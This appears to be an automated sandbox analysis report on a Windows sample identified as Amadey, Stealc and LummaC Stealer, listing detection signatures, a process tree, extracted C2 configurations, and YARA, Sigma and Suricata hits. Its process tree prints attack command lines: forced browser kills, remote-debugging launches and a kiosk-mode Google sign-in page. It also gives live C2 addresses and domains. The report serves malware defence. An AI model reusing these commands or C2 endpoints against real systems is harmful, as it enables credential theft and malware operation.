Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1572092
MD5:	326ad6c04a850bb9ba3ce77d62df16e9
SHA1:	0368902cb7250e0aef40b8d67606234d5934f5fd
SHA256:	a4e844ff190e6bb8c0afab32f76630758d7b196ae40062765ab8ff457bf1b9b3
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Credential Flusher, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Potentially malicious time measurement code found

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found evaded block containing many API calls

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 5732 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 326AD6C04A850BB9BA3CE77D62DF16E9)

skotes.exe (PID: 6592 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 326AD6C04A850BB9BA3CE77D62DF16E9)

skotes.exe (PID: 5628 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 326AD6C04A850BB9BA3CE77D62DF16E9)

skotes.exe (PID: 5596 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 326AD6C04A850BB9BA3CE77D62DF16E9)

4611cc433b.exe (PID: 3288 cmdline: "C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe" MD5: 054B1E771A301C1E792397A683ED0A90)

79ddad050f.exe (PID: 5228 cmdline: "C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe" MD5: 73F9C0001107EB1B3AAB6549C6574F7F)

e051bdf457.exe (PID: 3716 cmdline: "C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe" MD5: E814098146A7D5BB6910F684D24DDDA7)

chrome.exe (PID: 2624 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6832 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2376 --field-trial-handle=2108,i,15494402203579294748,10477359376935723563,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 7596 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7844 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2748 --field-trial-handle=2264,i,14280928009878877682,9304379882023563075,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

ba17bbfb21.exe (PID: 3380 cmdline: "C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe" MD5: CD6FBD133B166F011EE0459DAB795A09)

taskkill.exe (PID: 3628 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3812 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 612 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6680 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4208 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6116 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1772 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3448 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5396 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4404 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 3332 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

734386a52c.exe (PID: 3616 cmdline: "C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe" MD5: 10BB282A6A510155AF521185A136C32D)

79ddad050f.exe (PID: 2576 cmdline: "C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe" MD5: 73F9C0001107EB1B3AAB6549C6574F7F)

firefox.exe (PID: 2304 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 3872 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 2884 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2188 -parentBuildID 20230927232528 -prefsHandle 2136 -prefMapHandle 2128 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {aa193a77-707b-4b1f-8078-06a41e567f56} 3872 "\\.\pipe\gecko-crash-server-pipe.3872" 1c22c36ef10 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 3272 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4112 -parentBuildID 20230927232528 -prefsHandle 2532 -prefMapHandle 4108 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {d5bfb161-09aa-43d5-9f3c-cfcc713c6169} 3872 "\\.\pipe\gecko-crash-server-pipe.3872" 1c23ea0f510 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

e051bdf457.exe (PID: 5312 cmdline: "C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe" MD5: E814098146A7D5BB6910F684D24DDDA7)

msedge.exe (PID: 7904 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 5024 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2220 --field-trial-handle=2028,i,13930945499186658156,9224765416305937446,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

Threatname: LummaC

{"C2 url": ["formy-spill.biz", "se-blurry.biz", "dwell-exclaim.biz", "print-vexer.biz", "covery-mover.biz", "impend-differ.biz", "dare-curbys.biz", "zinc-sneark.biz", "atten-supporse.biz"], "Build id": "LOGS11--LiveTraffic"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
0000000A.00000003.3166621569.0000000001010000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.3254990045.0000000000251000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000008.00000003.3093876019.0000000000FD6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000003.3231030291.0000000001010000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000003.2978992587.0000000000FE8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000003.3007919799.0000000000FE3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000003.3135467108.0000000001011000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000003.3220379720.0000000001010000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000003.3233138119.0000000001010000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000002.3265730716.0000000000FFC000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1610:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000A.00000002.3261656724.0000000001010000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000003.2972144892.0000000000FE8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000003.3071939046.0000000000FD6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000002.3279910131.0000000004B70000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000A.00000003.3228403714.0000000001010000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000003.3135695992.0000000001017000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001D.00000002.3255076281.0000000000251000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000008.00000003.3093554780.0000000000FD2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.2089024610.00000000001F1000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000A.00000002.3261656724.0000000000F99000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000003.3170698705.0000000001010000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000003.3031373012.0000000000FE0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2997152380.0000000005000000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000008.00000003.3058481738.0000000000FE4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.3265209742.00000000012AE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2055475326.0000000000A91000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000008.00000003.3004575297.0000000000FE0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001D.00000003.3165593747.0000000004D30000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000002.00000002.2086144710.00000000001F1000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000008.00000003.3071848615.0000000000FEE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000003.3218476120.0000000001010000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 79ddad050f.exe PID: 5228	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 79ddad050f.exe PID: 5228	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 79ddad050f.exe PID: 5228	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 79ddad050f.exe PID: 5228	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: e051bdf457.exe PID: 3716	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: e051bdf457.exe PID: 3716	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: e051bdf457.exe PID: 3716	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 79ddad050f.exe PID: 2576	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 79ddad050f.exe PID: 2576	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 79ddad050f.exe PID: 2576	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: ba17bbfb21.exe PID: 3380	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: e051bdf457.exe PID: 5312	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: e051bdf457.exe PID: 5312	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 40 entries

Unpacked PEs

Source	Rule	Description	Author
2.2.skotes.exe.1f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
6.2.skotes.exe.1f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
3.2.skotes.exe.1f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.file.exe.a90000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 5596, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\79ddad050f.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe, ParentProcessId: 3716, ParentProcessName: e051bdf457.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", ProcessId: 2624, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 5596, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\79ddad050f.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T05:10:26.827527+0100	2028371	3	Unknown Traffic	192.168.2.5	49872	104.21.64.1	443	TCP
2024-12-10T05:10:29.135547+0100	2028371	3	Unknown Traffic	192.168.2.5	49879	104.21.64.1	443	TCP
2024-12-10T05:10:32.128327+0100	2028371	3	Unknown Traffic	192.168.2.5	49887	104.21.64.1	443	TCP
2024-12-10T05:10:35.025308+0100	2028371	3	Unknown Traffic	192.168.2.5	49894	104.21.64.1	443	TCP
2024-12-10T05:10:37.707948+0100	2028371	3	Unknown Traffic	192.168.2.5	49906	104.21.64.1	443	TCP
2024-12-10T05:10:41.348486+0100	2028371	3	Unknown Traffic	192.168.2.5	49913	104.21.64.1	443	TCP
2024-12-10T05:10:42.451556+0100	2028371	3	Unknown Traffic	192.168.2.5	49915	104.21.64.1	443	TCP
2024-12-10T05:10:45.346376+0100	2028371	3	Unknown Traffic	192.168.2.5	49934	104.21.64.1	443	TCP
2024-12-10T05:10:45.795054+0100	2028371	3	Unknown Traffic	192.168.2.5	49937	104.21.64.1	443	TCP
2024-12-10T05:10:48.455172+0100	2028371	3	Unknown Traffic	192.168.2.5	49948	104.21.64.1	443	TCP
2024-12-10T05:10:52.162297+0100	2028371	3	Unknown Traffic	192.168.2.5	49967	104.21.64.1	443	TCP
2024-12-10T05:10:53.038998+0100	2028371	3	Unknown Traffic	192.168.2.5	49972	104.21.64.1	443	TCP
2024-12-10T05:10:58.305422+0100	2028371	3	Unknown Traffic	192.168.2.5	49993	104.21.64.1	443	TCP
2024-12-10T05:11:25.628050+0100	2028371	3	Unknown Traffic	192.168.2.5	50041	104.21.64.1	443	TCP
2024-12-10T05:11:34.979574+0100	2028371	3	Unknown Traffic	192.168.2.5	50042	104.21.64.1	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T05:10:27.843439+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49872	104.21.64.1	443	TCP
2024-12-10T05:10:29.878319+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49879	104.21.64.1	443	TCP
2024-12-10T05:10:43.373021+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49915	104.21.64.1	443	TCP
2024-12-10T05:10:46.101982+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49934	104.21.64.1	443	TCP
2024-12-10T05:10:52.886996+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49967	104.21.64.1	443	TCP
2024-12-10T05:11:26.469818+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50041	104.21.64.1	443	TCP
2024-12-10T05:11:35.991702+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50042	104.21.64.1	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T05:10:27.843439+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49872	104.21.64.1	443	TCP
2024-12-10T05:10:43.373021+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49915	104.21.64.1	443	TCP
2024-12-10T05:11:26.469818+0100	2049836	1	A Network Trojan was detected	192.168.2.5	50041	104.21.64.1	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T05:10:29.878319+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49879	104.21.64.1	443	TCP
2024-12-10T05:10:46.101982+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49934	104.21.64.1	443	TCP
2024-12-10T05:11:35.991702+0100	2049812	1	A Network Trojan was detected	192.168.2.5	50042	104.21.64.1	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T05:10:26.827527+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.5	49872	104.21.64.1	443	TCP
2024-12-10T05:10:29.135547+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.5	49879	104.21.64.1	443	TCP
2024-12-10T05:10:32.128327+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.5	49887	104.21.64.1	443	TCP
2024-12-10T05:10:35.025308+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.5	49894	104.21.64.1	443	TCP
2024-12-10T05:10:37.707948+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.5	49906	104.21.64.1	443	TCP
2024-12-10T05:10:41.348486+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.5	49913	104.21.64.1	443	TCP
2024-12-10T05:10:42.451556+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.5	49915	104.21.64.1	443	TCP
2024-12-10T05:10:45.346376+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.5	49934	104.21.64.1	443	TCP
2024-12-10T05:10:45.795054+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.5	49937	104.21.64.1	443	TCP
2024-12-10T05:10:48.455172+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.5	49948	104.21.64.1	443	TCP
2024-12-10T05:10:52.162297+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.5	49967	104.21.64.1	443	TCP
2024-12-10T05:10:53.038998+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.5	49972	104.21.64.1	443	TCP
2024-12-10T05:10:58.305422+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.5	49993	104.21.64.1	443	TCP
2024-12-10T05:11:25.628050+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.5	50041	104.21.64.1	443	TCP
2024-12-10T05:11:34.979574+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.5	50042	104.21.64.1	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T05:10:54.450995+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	49984	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T05:10:17.551497+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49849	185.215.113.43	80	TCP
2024-12-10T05:10:26.436296+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49868	185.215.113.43	80	TCP
2024-12-10T05:10:35.039111+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49893	185.215.113.43	80	TCP
2024-12-10T05:10:42.311455+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49914	185.215.113.43	80	TCP
2024-12-10T05:10:52.385054+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49966	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (atten-supporse .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
